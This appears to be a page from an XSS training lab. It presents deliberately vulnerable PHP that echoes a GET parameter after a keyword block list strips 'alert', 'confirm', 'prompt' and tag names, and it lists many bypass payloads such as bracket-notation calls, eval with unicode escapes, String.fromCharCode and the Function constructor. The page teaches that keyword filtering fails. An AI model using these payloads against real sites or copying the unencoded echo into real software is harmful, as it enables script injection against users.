Complete Challenge: Total Function Filter Bypass
This is the ultimate function filtering challenge! The filter now blocks ALL three common dialog functions: 'alert', 'confirm', and 'prompt', along with multiple HTML tags.
str_replace(array('script','Script',...,'alert','confirm','prompt'), '', $_GET['lname'])
Objective: Bypass the complete function filter and execute JavaScript code, even though all dialog functions are blocked.
Note: Only the Last Name field is filtered and displayed. The First Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','alert','confirm','prompt',
'audio','video','body');
$re = str_replace($arr, '', $_GET['lname']);
echo $re;
}
console.log(), document.write(), document.title, location.href, or manipulate DOM elementsfunction a(){window.alert(1)};a()window['al'+'ert'], this['al'+'ert'], self['al'+'ert']eval(), Function(), setTimeout(), setInterval() with encoded payloadsString.fromCharCode() to build any function name.call(), .apply(), or indirect evaluationObject.getOwnPropertyDescriptor(window,'alert').valueComplete function blocking demonstrates:
For production-grade XSS prevention:
function x(){window.alert(1)};x()window.a=window.alert;a(1)eval('window["al"+"ert"](1)')setTimeout('window.alert(1)')console.log(1) - Browser consoledocument.title=1 - Page titledocument.body.innerHTML=1 - Page contentlocation.href='javascript:alert(1)' - Navigationeval('\\u0061lert(1)') - Unicode escapeeval('al'+String.fromCharCode(101,114,116)+'(1)') - Character codesFunction('al'+'ert(1)')() - Function constructortop['al'+'ert'](1) - Bracket notationalertalert, confirmalert, confirm, promptYou've reached the ultimate function filtering challenge! This demonstrates that even when all common dialog functions are blocked, JavaScript execution remains possible through creative techniques.
Remember: Function name filtering is not a security control - proper output encoding and CSP are the real defenses.